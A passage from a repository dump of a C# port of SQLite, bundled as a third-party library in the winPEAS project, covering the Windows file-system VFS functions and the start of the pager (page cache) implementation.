INVALID_FILE_ATTRIBUTES) // || ((error = GetLastError()) == ERROR_ACCESS_DENIED)) // && (cnt++ < MX_DELETION_ATTEMPTS) // && (Sleep(100), 1) ); if ( !File.Exists( zFilename ) ) { rc = SQLITE_IOERR; break; } try { File.Delete( zConverted ); rc = SQLITE_OK; } catch ( IOException e ) { rc = SQLITE_IOERR; Thread.Sleep( 100 ); } } while ( rc != SQLITE_OK && cnt++ < MX_DELETION_ATTEMPTS ); #endif } //free(zConverted); #if SQLITE_DEBUG OSTRACE2( "DELETE \"%s\"\n", zFilename ); #endif //return ( ( rc == INVALID_FILE_ATTRIBUTES ) //&& ( error == ERROR_FILE_NOT_FOUND ) ) ? SQLITE_OK : SQLITE_IOERR_DELETE; return rc; } /* ** Check the existence and status of a file. */ static int winAccess( sqlite3_vfs pVfs, /* Not used on win32 */ string zFilename, /* Name of file to check */ int flags, /* Type of test to make on this file */ ref int pResOut /* OUT: Result */ ) { FileAttributes attr = 0; // DWORD attr; int rc = 0; // void *zConverted = convertUtf8Filename(zFilename); UNUSED_PARAMETER( pVfs ); // if( zConverted==0 ){ // return SQLITE_NOMEM; // } //if ( isNT() ) //{ // // Do a quick test to prevent the try/catch block if ( flags == SQLITE_ACCESS_EXISTS ) { pResOut = File.Exists( zFilename ) ? 1 : 0; return SQLITE_OK; } // try { attr = File.GetAttributes( zFilename );// GetFileAttributesW( (WCHAR*)zConverted ); if ( attr == FileAttributes.Directory ) { StringBuilder zTmpname = new StringBuilder( 255 ); /* Buffer used to create temp filename */ getTempname( 256, zTmpname ); string zTempFilename; zTempFilename = zTmpname.ToString();//( SQLITE_TEMP_FILE_PREFIX.Length + 1 ); try { FileStream fs = File.Create( zTempFilename, 1, FileOptions.DeleteOnClose ); fs.Close(); attr = FileAttributes.Normal; } catch ( IOException e ) { attr = FileAttributes.ReadOnly; } } } /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. ** Since the ASCII version of these Windows API do not exist for WINCE, ** it's important to not reference them for WINCE builds. */ #if !SQLITE_OS_WINCE //} //else //{ // attr = GetFileAttributesA( (char*)zConverted ); #endif //} catch ( IOException e ) { } // free(zConverted); switch ( flags ) { case SQLITE_ACCESS_READ: case SQLITE_ACCESS_EXISTS: rc = attr != 0 ? 1 : 0;// != INVALID_FILE_ATTRIBUTES; break; case SQLITE_ACCESS_READWRITE: rc = attr == 0 ? 0 : (int)( attr & FileAttributes.ReadOnly ) != 0 ? 0 : 1; //FILE_ATTRIBUTE_READONLY ) == 0; break; default: Debug.Assert( "" == "Invalid flags argument" ); rc = 0; break; } pResOut = rc; return SQLITE_OK; } /* ** Turn a relative pathname into a full pathname. Write the full ** pathname into zOut[]. zOut[] will be at least pVfs.mxPathname ** bytes in size. */ static int winFullPathname( sqlite3_vfs pVfs, /* Pointer to vfs object */ string zRelative, /* Possibly relative input path */ int nFull, /* Size of output buffer in bytes */ StringBuilder zFull /* Output buffer */ ) { #if __CYGWIN__ UNUSED_PARAMETER(nFull); cygwin_conv_to_full_win32_path(zRelative, zFull); return SQLITE_OK; #endif #if SQLITE_OS_WINCE UNUSED_PARAMETER(nFull); /* WinCE has no concept of a relative pathname, or so I am told. */ sqlite3_snprintf(pVfs.mxPathname, zFull, "%s", zRelative); return SQLITE_OK; #endif #if !SQLITE_OS_WINCE && !__CYGWIN__ int nByte; //string zConverted; string zOut = null; UNUSED_PARAMETER( nFull ); //convertUtf8Filename(zRelative)); if ( isNT() ) { //string zTemp; //nByte = GetFullPathNameW( zConverted, 0, 0, 0) + 3; //zTemp = malloc( nByte*sizeof(zTemp[0]) ); //if( zTemp==0 ){ // free(zConverted); // return SQLITE_NOMEM; //} //zTemp = GetFullPathNameW(zConverted, nByte, zTemp, 0); // will happen on exit; was free(zConverted); try { zOut = Path.GetFullPath( zRelative ); // was unicodeToUtf8(zTemp); } catch ( IOException e ) { zOut = zRelative; } // will happen on exit; was free(zTemp); /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. ** Since the ASCII version of these Windows API do not exist for WINCE, ** it's important to not reference them for WINCE builds. */ #if !SQLITE_OS_WINCE } else { Debugger.Break(); // -- Not Running under NT //string zTemp; //nByte = GetFullPathNameA(zConverted, 0, 0, 0) + 3; //zTemp = malloc( nByte*sizeof(zTemp[0]) ); //if( zTemp==0 ){ // free(zConverted); // return SQLITE_NOMEM; //} //GetFullPathNameA( zConverted, nByte, zTemp, 0); // free(zConverted); //zOut = sqlite3_win32_mbcs_to_utf8(zTemp); // free(zTemp); #endif } if ( zOut != null ) { // sqlite3_snprintf(pVfs.mxPathname, zFull, "%s", zOut); if ( zFull.Length > pVfs.mxPathname ) zFull.Length = pVfs.mxPathname; zFull.Append( zOut ); // will happen on exit; was free(zOut); return SQLITE_OK; } else { return SQLITE_NOMEM; } #endif } /* ** Get the sector size of the device used to store ** file. */ static int getSectorSize( sqlite3_vfs pVfs, string zRelative /* UTF-8 file name */ ) { int bytesPerSector = SQLITE_DEFAULT_SECTOR_SIZE; StringBuilder zFullpath = new StringBuilder( MAX_PATH + 1 ); int rc; // bool dwRet = false; // int dwDummy = 0; /* ** We need to get the full path name of the file ** to get the drive letter to look up the sector ** size. */ rc = winFullPathname( pVfs, zRelative, MAX_PATH, zFullpath ); if ( rc == SQLITE_OK ) { StringBuilder zConverted = new StringBuilder( convertUtf8Filename( zFullpath.ToString() ) ); if ( zConverted.Length != 0 ) { if ( isNT() ) { /* trim path to just drive reference */ //for ( ; *p ; p++ ) //{ // if ( *p == '\\' ) // { // *p = '\0'; // break; // } //} int i; for ( i = 0 ; i < zConverted.Length && i < MAX_PATH ; i++ ) { if ( zConverted[i] == '\\' ) { i++; break; } } zConverted.Length = i; //dwRet = GetDiskFreeSpace( zConverted, // ref dwDummy, // ref bytesPerSector, // ref dwDummy, // ref dwDummy ); //#if !SQLITE_OS_WINCE //}else{ // /* trim path to just drive reference */ // CHAR* p = (CHAR*)zConverted; // for ( ; *p ; p++ ) // { // if ( *p == '\\' ) // { // *p = '\0'; // break; // } // } // dwRet = GetDiskFreeSpaceA((CHAR*)zConverted, // dwDummy, // ref bytesPerSector, // dwDummy, // dwDummy ); //#endif } //free(zConverted); } // if ( !dwRet ) // { // bytesPerSector = SQLITE_DEFAULT_SECTOR_SIZE; // } //} bytesPerSector = GetbytesPerSector( zConverted ); } return bytesPerSector == 0 ? SQLITE_DEFAULT_SECTOR_SIZE : bytesPerSector; } #if !SQLITE_OMIT_LOAD_EXTENSION /* ** Interfaces for opening a shared library, finding entry points ** within the shared library, and closing the shared library. */ /* ** Interfaces for opening a shared library, finding entry points ** within the shared library, and closing the shared library. */ //static void *winDlOpen(sqlite3_vfs pVfs, string zFilename){ // HANDLE h; // void *zConverted = convertUtf8Filename(zFilename); // UNUSED_PARAMETER(pVfs); // if( zConverted==0 ){ // return 0; // } // if( isNT() ){ // h = LoadLibraryW((WCHAR*)zConverted); /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. ** Since the ASCII version of these Windows API do not exist for WINCE, ** it's important to not reference them for WINCE builds. */ #if !SQLITE_OS_WINCE // }else{ // h = LoadLibraryA((char*)zConverted); #endif // } // free(zConverted); // return (void*)h; //} //static void winDlError(sqlite3_vfs pVfs, int nBuf, char *zBufOut){ // UNUSED_PARAMETER(pVfs); // getLastErrorMsg(nBuf, zBufOut); //} // static object winDlSym(sqlite3_vfs pVfs, HANDLE pHandle, String zSymbol){ // UNUSED_PARAMETER(pVfs); //#if SQLITE_OS_WINCE // /* The GetProcAddressA() routine is only available on wince. */ // return GetProcAddressA((HANDLE)pHandle, zSymbol); //#else // /* All other windows platforms expect GetProcAddress() to take // ** an Ansi string regardless of the _UNICODE setting */ // return GetProcAddress((HANDLE)pHandle, zSymbol); //#endif // } // static void winDlClose( sqlite3_vfs pVfs, HANDLE pHandle ) // { // UNUSED_PARAMETER(pVfs); // FreeLibrary((HANDLE)pHandle); // } //TODO -- Fix This static HANDLE winDlOpen( sqlite3_vfs vfs, string zFilename ) { return new HANDLE(); } static int winDlError( sqlite3_vfs vfs, int nByte, ref string zErrMsg ) { return 0; } static HANDLE winDlSym( sqlite3_vfs vfs, HANDLE data, string zSymbol ) { return new HANDLE(); } static int winDlClose( sqlite3_vfs vfs, HANDLE data ) { return 0; } #else // * if SQLITE_OMIT_LOAD_EXTENSION is defined: */ static object winDlOpen(ref sqlite3_vfs vfs, string zFilename) { return null; } static int winDlError(ref sqlite3_vfs vfs, int nByte, ref string zErrMsg) { return 0; } static object winDlSym(ref sqlite3_vfs vfs, object data, string zSymbol) { return null; } static int winDlClose(ref sqlite3_vfs vfs, object data) { return 0; } #endif /* ** Write up to nBuf bytes of randomness into zBuf. */ //[StructLayout( LayoutKind.Explicit, Size = 16, CharSet = CharSet.Ansi )] //public class _SYSTEMTIME //{ // [FieldOffset( 0 )] // public u32 byte_0_3; // [FieldOffset( 4 )] // public u32 byte_4_7; // [FieldOffset( 8 )] // public u32 byte_8_11; // [FieldOffset( 12 )] // public u32 byte_12_15; //} //[DllImport( "Kernel32.dll" )] //private static extern bool QueryPerformanceCounter( out long lpPerformanceCount ); static int winRandomness( sqlite3_vfs pVfs, int nBuf, ref byte[] zBuf ) { int n = 0; UNUSED_PARAMETER( pVfs ); #if (SQLITE_TEST) n = nBuf; Array.Clear( zBuf, 0, n );// memset( zBuf, 0, nBuf ); #else byte[] sBuf = BitConverter.GetBytes(System.DateTime.Now.Ticks); zBuf[0] = sBuf[0]; zBuf[1] = sBuf[1]; zBuf[2] = sBuf[2]; zBuf[3] = sBuf[3]; ;// memcpy(&zBuf[n], x, sizeof(x)) n += 16;// sizeof(x); if ( sizeof( DWORD ) <= nBuf - n ) { //DWORD pid = GetCurrentProcessId(); put32bits( zBuf, n, (u32)Process.GetCurrentProcess().Id );//(memcpy(&zBuf[n], pid, sizeof(pid)); n += 4;// sizeof(pid); } if ( sizeof( DWORD ) <= nBuf - n ) { //DWORD cnt = GetTickCount(); System.DateTime dt = new System.DateTime(); put32bits( zBuf, n, (u32)dt.Ticks );// memcpy(&zBuf[n], cnt, sizeof(cnt)); n += 4;// cnt.Length; } if ( sizeof( long ) <= nBuf - n ) { long i; i = System.DateTime.UtcNow.Millisecond;// QueryPerformanceCounter(out i); put32bits( zBuf, n, (u32)( i & 0xFFFFFFFF ) );//memcpy(&zBuf[n], i, sizeof(i)); put32bits( zBuf, n, (u32)( i >> 32 ) ); n += sizeof( long ); } #endif return n; } /* ** Sleep for a little while. Return the amount of time slept. */ static int winSleep( sqlite3_vfs pVfs, int microsec ) { Thread.Sleep( ( microsec + 999 ) / 1000 ); UNUSED_PARAMETER( pVfs ); return ( ( microsec + 999 ) / 1000 ) * 1000; } /* ** The following variable, if set to a non-zero value, becomes the result ** returned from sqlite3OsCurrentTime(). This is used for testing. */ #if SQLITE_TEST // static int sqlite3_current_time = 0; #endif /* ** Find the current time (in Universal Coordinated Time). Write the ** current time and date as a Julian Day number into prNow and ** return 0. Return 1 if the time and date cannot be found. */ static int winCurrentTime( sqlite3_vfs pVfs, ref double prNow ) { //FILETIME ft = new FILETIME(); /* FILETIME structure is a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (= JD 2305813.5). */ sqlite3_int64 timeW; /* Whole days */ sqlite3_int64 timeF; /* Fractional Days */ /* Number of 100-nanosecond intervals in a single day */ const sqlite3_int64 ntuPerDay = 10000000 * (sqlite3_int64)86400; /* Number of 100-nanosecond intervals in half of a day */ const sqlite3_int64 ntuPerHalfDay = 10000000 * (sqlite3_int64)43200; ///* 2^32 - to avoid use of LL and warnings in gcc */ //const sqlite3_int64 max32BitValue = //(sqlite3_int64)2000000000 + (sqlite3_int64)2000000000 + (sqlite3_int64)294967296; //#if SQLITE_OS_WINCE //SYSTEMTIME time; //GetSystemTime(&time); ///* if SystemTimeToFileTime() fails, it returns zero. */ //if (!SystemTimeToFileTime(&time,&ft)){ //return 1; //} //#else // GetSystemTimeAsFileTime( ref ft ); // ft = System.DateTime.UtcNow.ToFileTime(); //#endif // UNUSED_PARAMETER( pVfs ); // timeW = ( ( (sqlite3_int64)ft.dwHighDateTime ) * max32BitValue ) + (sqlite3_int64)ft.dwLowDateTime; timeW = System.DateTime.UtcNow.ToFileTime(); timeF = timeW % ntuPerDay; /* fractional days (100-nanoseconds) */ timeW = timeW / ntuPerDay; /* whole days */ timeW = timeW + 2305813; /* add whole days (from 2305813.5) */ timeF = timeF + ntuPerHalfDay; /* add half a day (from 2305813.5) */ timeW = timeW + ( timeF / ntuPerDay ); /* add whole day if half day made one */ timeF = timeF % ntuPerDay; /* compute new fractional days */ prNow = (double)timeW + ( (double)timeF / (double)ntuPerDay ); #if SQLITE_TEST if ( ( sqlite3_current_time.iValue ) != 0 ) { prNow = ( (double)sqlite3_current_time.iValue + (double)43200 ) / (double)86400 + (double)2440587; } #endif return 0; } /* ** The idea is that this function works like a combination of ** GetLastError() and FormatMessage() on windows (or errno and ** strerror_r() on unix). After an error is returned by an OS ** function, SQLite calls this function with zBuf pointing to ** a buffer of nBuf bytes. The OS layer should populate the ** buffer with a nul-terminated UTF-8 encoded error message ** describing the last IO error to have occurred within the calling ** thread. ** ** If the error message is too large for the supplied buffer, ** it should be truncated. The return value of xGetLastError ** is zero if the error message fits in the buffer, or non-zero ** otherwise (if the message was truncated). If non-zero is returned, ** then it is not necessary to include the nul-terminator character ** in the output buffer. ** ** Not supplying an error message will have no adverse effect ** on SQLite. It is fine to have an implementation that never ** returns an error message: ** ** int xGetLastError(sqlite3_vfs pVfs, int nBuf, char *zBuf){ ** Debug.Assert(zBuf[0]=='\0'); ** return 0; ** } ** ** However if an error message is supplied, it will be incorporated ** by sqlite into the error message available to the user using ** sqlite3_errmsg(), possibly making IO errors easier to debug. */ static int winGetLastError( sqlite3_vfs pVfs, int nBuf, ref string zBuf ) { UNUSED_PARAMETER( pVfs ); return getLastErrorMsg( nBuf, ref zBuf ); } static sqlite3_vfs winVfs = new sqlite3_vfs( 1, /* iVersion */ -1, //sqlite3_file.Length, /* szOsFile */ MAX_PATH, /* mxPathname */ null, /* pNext */ "win32", /* zName */ 0, /* pAppData */ (dxOpen)winOpen, /* xOpen */ (dxDelete)winDelete, /* xDelete */ (dxAccess)winAccess, /* xAccess */ (dxFullPathname)winFullPathname,/* xFullPathname */ (dxDlOpen)winDlOpen, /* xDlOpen */ (dxDlError)winDlError, /* xDlError */ (dxDlSym)winDlSym, /* xDlSym */ (dxDlClose)winDlClose, /* xDlClose */ (dxRandomness)winRandomness, /* xRandomness */ (dxSleep)winSleep, /* xSleep */ (dxCurrentTime)winCurrentTime, /* xCurrentTime */ (dxGetLastError)winGetLastError /* xGetLastError */ ); /* ** Initialize and deinitialize the operating system interface. */ static int sqlite3_os_init() { sqlite3_vfs_register( winVfs, 1 ); return SQLITE_OK; } static int sqlite3_os_end() { return SQLITE_OK; } #endif // * SQLITE_OS_WIN */ // // Windows DLL definitions // const int NO_ERROR = 0; } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/pager_c.cs ================================================ using System; using System.Diagnostics; using System.Text; using i16 = System.Int16; using i64 = System.Int64; using u8 = System.Byte; using u16 = System.UInt16; using u32 = System.UInt32; using Pgno = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { using DbPage = CSSQLite.PgHdr; public partial class CSSQLite { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This is the implementation of the page cache subsystem or "pager". ** ** The pager is used to access a database disk file. It implements ** atomic commit and rollback through the use of a journal file that ** is separate from the database file. The pager also implements file ** locking to prevent two processes from writing the same database ** file simultaneously, or one process from reading the database while ** another is writing. ** ** @(#) $Id: pager.c,v 1.629 2009/08/10 17:48:57 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ #if !SQLITE_OMIT_DISKIO //#include "sqliteInt.h" /* ** Macros for troubleshooting. Normally turned off */ #if TRACE static bool sqlite3PagerTrace = false; /* True to enable tracing */ //#define sqlite3DebugPrintf printf //#define PAGERTRACE(X) if( sqlite3PagerTrace ){ sqlite3DebugPrintf X; } static void PAGERTRACE(string T, params object[] ap) { if (sqlite3PagerTrace) sqlite3DebugPrintf(T, ap); } #else //#define PAGERTRACE(X) static void PAGERTRACE( string T, params object[] ap ) { } #endif /* ** The following two macros are used within the PAGERTRACE() macros above ** to print out file-descriptors. ** ** PAGERID() takes a pointer to a Pager struct as its argument. The ** associated file-descriptor is returned. FILEHANDLEID() takes an sqlite3_file ** struct as its argument. */ //#define PAGERID(p) ((int)(p.fd)) static int PAGERID(Pager p) { return p.GetHashCode(); } //#define FILEHANDLEID(fd) ((int)fd) static int FILEHANDLEID(sqlite3_file fd) { return fd.GetHashCode(); } /* ** The page cache as a whole is always in one of the following ** states: ** ** PAGER_UNLOCK The page cache is not currently reading or ** writing the database file. There is no ** data held in memory. This is the initial ** state. ** ** PAGER_SHARED The page cache is reading the database. ** Writing is not permitted. There can be ** multiple readers accessing the same database ** file at the same time. ** ** PAGER_RESERVED This process has reserved the database for writing ** but has not yet made any changes. Only one process ** at a time can reserve the database. The original ** database file has not been modified so other ** processes may still be reading the on-disk ** database file. ** ** PAGER_EXCLUSIVE The page cache is writing the database. ** Access is exclusive. No other processes or ** threads can be reading or writing while one ** process is writing. ** ** PAGER_SYNCED The pager moves to this state from PAGER_EXCLUSIVE ** after all dirty pages have been written to the ** database file and the file has been synced to ** disk. All that remains to do is to remove or ** truncate the journal file and the transaction ** will be committed. ** ** The page cache comes up in PAGER_UNLOCK. The first time a ** sqlite3PagerGet() occurs, the state transitions to PAGER_SHARED. ** After all pages have been released using sqlite_page_unref(), ** the state transitions back to PAGER_UNLOCK. The first time ** that sqlite3PagerWrite() is called, the state transitions to ** PAGER_RESERVED. (Note that sqlite3PagerWrite() can only be ** called on an outstanding page which means that the pager must ** be in PAGER_SHARED before it transitions to PAGER_RESERVED.) ** PAGER_RESERVED means that there is an open rollback journal. ** The transition to PAGER_EXCLUSIVE occurs before any changes ** are made to the database file, though writes to the rollback ** journal occurs with just PAGER_RESERVED. After an sqlite3PagerRollback() ** or sqlite3PagerCommitPhaseTwo(), the state can go back to PAGER_SHARED, ** or it can stay at PAGER_EXCLUSIVE if we are in exclusive access mode. */ const int PAGER_UNLOCK = 0; const int PAGER_SHARED = 1; /* same as SHARED_LOCK */ const int PAGER_RESERVED = 2; /* same as RESERVED_LOCK */ const int PAGER_EXCLUSIVE = 4; /* same as EXCLUSIVE_LOCK */ const int PAGER_SYNCED = 5; /* ** A macro used for invoking the codec if there is one */ #if SQLITE_HAS_CODEC //# define CODEC1(P,D,N,X,E) \ if( P->xCodec && P->xCodec(P->pCodec,D,N,X)==0 ){ E; } //# define CODEC2(P,D,N,X,E,O) \ if( P->xCodec==0 ){ O=(char*)D; }else \ if( (O=(char*)(P->xCodec(P->pCodec,D,N,X)))==0 ){ E; } #else //# define CODEC1(P,D,N,X,E) /* NO-OP */ //# define CODEC2(P,D,N,X,E,O) O=(char*)D static void CODEC2(Pager P, byte[] D, uint N, int X, int E, ref byte[] O) { O = D; } #endif /* ** The maximum allowed sector size. 64KiB. If the xSectorsize() method ** returns a value larger than this, then MAX_SECTOR_SIZE is used instead. ** This could conceivably cause corruption following a power failure on ** such a system. This is currently an undocumented limit. */ //#define MAX_SECTOR_SIZE 0x10000 const int MAX_SECTOR_SIZE = 0x10000; /* ** An instance of the following structure is allocated for each active ** savepoint and statement transaction in the system. All such structures ** are stored in the Pager.aSavepoint[] array, which is allocated and ** resized using sqlite3Realloc(). ** ** When a savepoint is created, the PagerSavepoint.iHdrOffset field is ** set to 0. If a journal-header is written into the main journal while ** the savepoint is active, then iHdrOffset is set to the byte offset ** immediately following the last journal record written into the main ** journal before the journal-header. This is required during savepoint ** rollback (see pagerPlaybackSavepoint()). */ //typedef struct PagerSavepoint PagerSavepoint; public class PagerSavepoint { public i64 iOffset; /* Starting offset in main journal */ public i64 iHdrOffset; /* See above */ public Bitvec pInSavepoint; /* Set of pages in this savepoint */ public Pgno nOrig; /* Original number of pages in file */ public Pgno iSubRec; /* Index of first record in sub-journal */ public static implicit operator bool(PagerSavepoint b) { return (b != null); } }; /* ** A open page cache is an instance of the following structure. ** ** errCode ** ** Pager.errCode may be set to SQLITE_IOERR, SQLITE_CORRUPT, or ** or SQLITE_FULL. Once one of the first three errors occurs, it persists ** and is returned as the result of every major pager API call. The ** SQLITE_FULL return code is slightly different. It persists only until the ** next successful rollback is performed on the pager cache. Also, ** SQLITE_FULL does not affect the sqlite3PagerGet() and sqlite3PagerLookup() ** APIs, they may still be used successfully. ** ** dbSizeValid, dbSize, dbOrigSize, dbFileSize ** ** Managing the size of the database file in pages is a little complicated. ** The variable Pager.dbSize contains the number of pages that the database ** image currently contains. As the database image grows or shrinks this ** variable is updated. The variable Pager.dbFileSize contains the number ** of pages in the database file. This may be different from Pager.dbSize ** if some pages have been appended to the database image but not yet written ** out from the cache to the actual file on disk. Or if the image has been ** truncated by an incremental-vacuum operation. The Pager.dbOrigSize variable ** contains the number of pages in the database image when the current ** transaction was opened. The contents of all three of these variables is ** only guaranteed to be correct if the boolean Pager.dbSizeValid is true. ** ** TODO: Under what conditions is dbSizeValid set? Cleared? ** ** changeCountDone ** ** This boolean variable is used to make sure that the change-counter ** (the 4-byte header field at byte offset 24 of the database file) is ** not updated more often than necessary. ** ** It is set to true when the change-counter field is updated, which ** can only happen if an exclusive lock is held on the database file. ** It is cleared (set to false) whenever an exclusive lock is ** relinquished on the database file. Each time a transaction is committed, ** The changeCountDone flag is inspected. If it is true, the work of ** updating the change-counter is omitted for the current transaction. ** ** This mechanism means that when running in exclusive mode, a connection ** need only update the change-counter once, for the first transaction ** committed. ** ** dbModified ** ** The dbModified flag is set whenever a database page is dirtied. ** It is cleared at the end of each transaction. ** ** It is used when committing or otherwise ending a transaction. If ** the dbModified flag is clear then less work has to be done. ** ** journalStarted ** ** This flag is set whenever the the main journal is synced. ** ** The point of this flag is that it must be set after the ** first journal header in a journal file has been synced to disk. ** After this has happened, new pages appended to the database ** do not need the PGHDR_NEED_SYNC flag set, as they do not need ** to wait for a journal sync before they can be written out to ** the database file (see function pager_write()). ** ** setMaster ** ** This variable is used to ensure that the master journal file name ** (if any) is only written into the journal file once. ** ** When committing a transaction, the master journal file name (if any) ** may be written into the journal file while the pager is still in ** PAGER_RESERVED state (see CommitPhaseOne() for the action). It ** then attempts to upgrade to an exclusive lock. If this attempt ** fails, then SQLITE_BUSY may be returned to the user and the user ** may attempt to commit the transaction again later (calling ** CommitPhaseOne() again). This flag is used to ensure that the ** master journal name is only written to the journal file the first ** time CommitPhaseOne() is called. ** ** doNotSync ** ** This variable is set and cleared by sqlite3PagerWrite(). ** ** needSync ** ** TODO: It might be easier to set this variable in writeJournalHdr() ** and writeMasterJournal() only. Change its meaning to "unsynced data ** has been written to the journal". ** ** subjInMemory ** ** This is a boolean variable. If true, then any required sub-journal ** is opened as an in-memory journal file. If false, then in-memory ** sub-journals are only used for in-memory pager files. */ public class Pager { public sqlite3_vfs pVfs; /* OS functions to use for IO */ public bool exclusiveMode; /* Boolean. True if locking_mode==EXCLUSIVE */ public u8 journalMode; /* On of the PAGER_JOURNALMODE_* values */ public u8 useJournal; /* Use a rollback journal on this file */ public u8 noReadlock; /* Do not bother to obtain readlocks */ public bool noSync; /* Do not sync the journal if true */ public bool fullSync; /* Do extra syncs of the journal for robustness */ public int sync_flags; /* One of SYNC_NORMAL or SYNC_FULL */ public bool tempFile; /* zFilename is a temporary file */ public bool readOnly; /* True for a read-only database */ public bool alwaysRollback; /* Disable DontRollback() for all pages */ public u8 memDb; /* True to inhibit all file I/O */ /* The following block contains those class members that are dynamically ** modified during normal operations. The other variables in this structure ** are either constant throughout the lifetime of the pager, or else ** used to store configuration parameters that affect the way the pager ** operates. ** ** The 'state' variable is described in more detail along with the ** descriptions of the values it may take - PAGER_UNLOCK etc. Many of the ** other variables in this block are described in the comment directly ** above this class definition. */ public u8 state; /* PAGER_UNLOCK, _SHARED, _RESERVED, etc. */ public bool dbModified; /* True if there are any changes to the Db */ public bool needSync; /* True if an fsync() is needed on the journal */ public bool journalStarted; /* True if header of journal is synced */ public bool changeCountDone; /* Set after incrementing the change-counter */ public int setMaster; /* True if a m-j name has been written to jrnl */ public bool doNotSync; /* Boolean. While true, do not spill the cache */ public bool dbSizeValid; /* Set when dbSize is correct */ public u8 subjInMemory; /* True to use in-memory sub-journals */ public Pgno dbSize; /* Number of pages in the database */ public Pgno dbOrigSize; /* dbSize before the current transaction */ public Pgno dbFileSize; /* Number of pages in the database file */ public int errCode; /* One of several kinds of errors */ public int nRec; /* Pages journalled since last j-header written */ public u32 cksumInit; /* Quasi-random value added to every checksum */ public u32 nSubRec; /* Number of records written to sub-journal */ public Bitvec pInJournal; /* One bit for each page in the database file */ public sqlite3_file fd; /* File descriptor for database */ public sqlite3_file jfd; /* File descriptor for main journal */ public sqlite3_file sjfd; /* File descriptor for sub-journal */ public i64 journalOff; /* Current write offset in the journal file */ public i64 journalHdr; /* Byte offset to previous journal header */ public PagerSavepoint[] aSavepoint;/* Array of active savepoints */ public int nSavepoint; /* Number of elements in aSavepoint[] */ public u8[] dbFileVers = new u8[16];/* Changes whenever database file changes */ public u32 sectorSize; /* Assumed sector size during rollback */ public u16 nExtra; /* Add this many bytes to each in-memory page */ public i16 nReserve; /* Number of unused bytes at end of each page */ public u32 vfsFlags; /* Flags for sqlite3_vfs.xOpen() */ public int pageSize; /* Number of bytes in a page */ public Pgno mxPgno; /* Maximum allowed size of the database */ public string zFilename; /* Name of the database file */ public string zJournal; /* Name of the journal file */ public dxBusyHandler xBusyHandler; /* Function to call when busy */ public object pBusyHandlerArg; /* Context argument for xBusyHandler */ #if SQLITE_TEST || DEBUG public int nHit, nMiss; /* Cache hits and missing */ public int nRead, nWrite; /* Database pages read/written */ #else public int nHit; #endif public dxReiniter xReiniter; //(DbPage*,int);/* Call this routine when reloading pages */ #if SQLITE_HAS_CODEC void *(*xCodec)(void*,void*,Pgno,int); /* Routine for en/decoding data */ void (*xCodecSizeChng)(void*,int,int); /* Notify of page size changes */ void (*xCodecFree)(void*); /* Destructor for the codec */ void *pCodec; /* First argument to xCodec... methods */ #endif public byte[] pTmpSpace; /* Pager.pageSize bytes of space for tmp use */ public i64 journalSizeLimit; /* Size limit for persistent journal files */ public PCache pPCache; /* Pointer to page cache object */ public sqlite3_backup pBackup; /* Pointer to list of ongoing backup processes */ }; /* ** The following global variables hold counters used for ** testing purposes only. These variables do not exist in ** a non-testing build. These variables are not thread-safe. */ #if SQLITE_TEST //static int sqlite3_pager_readdb_count = 0; /* Number of full pages read from DB */ //static int sqlite3_pager_writedb_count = 0; /* Number of full pages written to DB */ //static int sqlite3_pager_writej_count = 0; /* Number of pages written to journal */ static void PAGER_INCR( ref int v ) { v++; } #else //# define PAGER_INCR(v) static void PAGER_INCR(ref int v) { } #endif /* ** Journal files begin with the following magic string. The data ** was obtained from /dev/random. It is used only as a sanity check. ** ** Since version 2.8.0, the journal format contains additional sanity ** checking information. If the power fails while the journal is being ** written, semi-random garbage data might appear in the journal ** file after power is restored. If an attempt is then made ** to roll the journal back, the database could be corrupted. The additional ** sanity checking data is an attempt to discover the garbage in the ** journal and ignore it. ** ** The sanity checking information for the new journal format consists ** of a 32-bit checksum on each page of data. The checksum covers both ** the page number and the pPager.pageSize bytes of data for the page. ** This cksum is initialized to a 32-bit random value that appears in the ** journal file right after the header. The random initializer is important, ** because garbage data that appears at the end of a journal is likely ** data that was once in other files that have now been deleted. If the ** garbage data came from an obsolete journal file, the checksums might ** be correct. But by initializing the checksum to random value which ** is different for every journal, we minimize that risk. */ static byte[] aJournalMagic = new byte[] { 0xd9, 0xd5, 0x05, 0xf9, 0x20, 0xa1, 0x63, 0xd7, }; /* ** The size of the of each page record in the journal is given by ** the following macro. */ //#define JOURNAL_PG_SZ(pPager) ((pPager.pageSize) + 8) static int JOURNAL_PG_SZ(Pager pPager) { return (pPager.pageSize + 8); } /* ** The journal header size for this pager. This is usually the same ** size as a single disk sector. See also setSectorSize(). */ //#define JOURNAL_HDR_SZ(pPager) (pPager.sectorSize) static u32 JOURNAL_HDR_SZ(Pager pPager) { return (pPager.sectorSize); } /* ** The macro MEMDB is true if we are dealing with an in-memory database. ** We do this as a macro so that if the SQLITE_OMIT_MEMORYDB macro is set, ** the value of MEMDB will be a constant and the compiler will optimize ** out code that would never execute. */ #if SQLITE_OMIT_MEMORYDB //# define MEMDB 0 const int MEMDB = 0; #else //# define MEMDB pPager.memDb #endif /* ** The maximum legal page number is (2^31 - 1). */ //#define PAGER_MAX_PGNO 2147483647 const int PAGER_MAX_PGNO = 2147483647; #if !NDEBUG /* ** Usage: ** ** assert( assert_pager_state(pPager) ); */ static bool assert_pager_state( Pager pPager ) { /* A temp-file is always in PAGER_EXCLUSIVE or PAGER_SYNCED state. */ Debug.Assert( pPager.tempFile == false || pPager.state >= PAGER_EXCLUSIVE ); /* The changeCountDone flag is always set for temp-files */ Debug.Assert( pPager.tempFile == false || pPager.changeCountDone ); return true; } #else static bool assert_pager_state(Pager pPager) { return true; } #endif /* ** Return true if it is necessary to write page *pPg into the sub-journal. ** A page needs to be written into the sub-journal if there exists one ** or more open savepoints for which: ** ** * The page-number is less than or equal to PagerSavepoint.nOrig, and ** * The bit corresponding to the page-number is not set in ** PagerSavepoint.pInSavepoint. */ static bool subjRequiresPage(PgHdr 